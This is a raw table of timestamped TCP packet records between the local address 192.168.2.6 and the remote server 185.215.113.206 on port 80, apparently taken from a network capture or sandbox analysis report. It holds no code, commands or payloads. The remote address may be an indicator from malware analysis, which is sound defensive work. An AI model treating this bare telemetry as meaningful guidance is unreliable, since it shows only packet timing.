Dec 23, 2024 06:54:27.599858999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.599877119 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.599917889 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.736341000 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.736396074 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.736505985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.736576080 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.736638069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.736841917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.736865044 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.736896992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.737766981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.737813950 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.737843037 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.737884045 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.738914013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.738959074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.739003897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.739042997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.739938021 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.739980936 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.740061045 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.740103006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.741014004 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.741029978 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.741058111 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.741077900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.742063999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.742109060 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.742134094 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.742172956 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.743119001 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.743160009 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.743204117 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.743243933 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.744201899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.744246960 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.744312048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.744355917 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.745346069 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.745362043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.745389938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.745408058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.746403933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.746448040 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.746454954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.746490955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.747385979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.747428894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.747710943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.747752905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.748496056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.748541117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.748583078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.748622894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.749643087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.749686956 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.749739885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.749782085 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.750679970 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.750695944 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.750722885 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.750741959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.751744986 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.751789093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.751853943 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.751890898 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.752825975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.752846003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.752870083 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.752887964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.753920078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.753964901 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.754007101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.754045963 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.754920006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.754966974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.755043983 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.755088091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.756005049 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.756051064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.756124973 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.756166935 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.757078886 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.757118940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.757127047 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.757157087 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.758169889 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.758213997 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.758248091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.758286953 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.759257078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.759305000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.759340048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.759381056 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.760375977 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.760391951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.760420084 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.760441065 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.761370897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.761415958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.761459112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.761495113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.762526035 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.762545109 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.762568951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.762586117 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.763575077 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.763600111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.763621092 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.763637066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.764668941 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.764683962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.764712095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.764729023 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.765676975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.765718937 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.765789032 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.765829086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.766832113 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.766846895 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.766874075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.766890049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.767865896 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.767910004 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.767950058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.767983913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.768981934 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.768996954 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.769032001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.769051075 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.769942999 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.770020008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.770056963 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.770098925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.771018982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.771064043 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.771092892 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.771131992 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.772176981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.772202015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.772224903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.772242069 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.773195982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.773241043 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.773291111 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.773330927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.774308920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.774352074 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.774364948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.774405956 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.775362968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.775407076 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.775449038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.775490999 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.776407957 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.776453018 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.776667118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.776710033 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.777467966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.777513027 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.777585983 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.777626991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.778553009 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.778597116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.778673887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.778717041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.779593945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.779640913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.779809952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.779851913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.780670881 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.780714035 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.780788898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.780829906 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.781764030 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.781806946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.781850100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.781889915 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.782847881 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.782891989 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.782964945 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.783010006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.783996105 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.784100056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.784152985 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.785130024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.785150051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.785187006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.785221100 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.787319899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.787337065 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.787352085 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.787364960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.787373066 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.787395000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.787421942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.788211107 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.788256884 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.788311005 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.788355112 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.789263010 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.789309978 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.789366961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.789410114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.790349960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.790395021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.790479898 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.790519953 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.791398048 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.791440964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.791579962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.791623116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.792521000 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.792562962 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.928848982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.928911924 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.928925991 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.928958893 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.929320097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.929363966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.929397106 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.929439068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.930394888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.930442095 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.930444956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.930481911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.931480885 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.931525946 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.931560040 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.931602955 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.932490110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.932535887 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.932590961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.932631969 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.933572054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.933619976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.933681965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.933723927 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.934716940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.934763908 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.934796095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.934835911 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.935741901 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.935853958 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.935887098 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.935933113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.936830997 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.936877012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.936913967 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.936950922 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.937927961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.937983036 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.938007116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.938041925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.938954115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.938999891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.939066887 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.939110041 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.940016985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.940063000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.940092087 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.940131903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.941118002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.941162109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.941194057 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.941230059 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.942157984 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.942202091 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.942272902 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.942320108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.943293095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.943336964 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.943360090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.943402052 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.944364071 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.944385052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.944411039 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.944432974 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.945437908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.945487976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.945499897 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.945539951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.946485043 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.946530104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.946556091 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.946595907 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.947588921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.947634935 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.947695017 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.947736025 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.948645115 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.948690891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.948725939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.948839903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.949739933 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.949785948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.949866056 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.949911118 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.950812101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.950854063 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.950957060 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.950999022 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.951936007 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.951953888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.951982975 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.952002048 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.952917099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.952976942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.953028917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.953104019 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.954040051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.954082966 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.954106092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.954142094 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.955064058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.955110073 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.955318928 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.955360889 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.956131935 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.956181049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.956245899 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.956284046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.957194090 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.957340002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.957401037 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.958261013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.958317995 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.958437920 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.958483934 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.959373951 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.959418058 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.959455013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.959496021 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.960503101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.960515976 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.960565090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:27.961571932 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.961597919 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:27.961616993 CET	49889	80	192.168.2.6	185.215.113.206
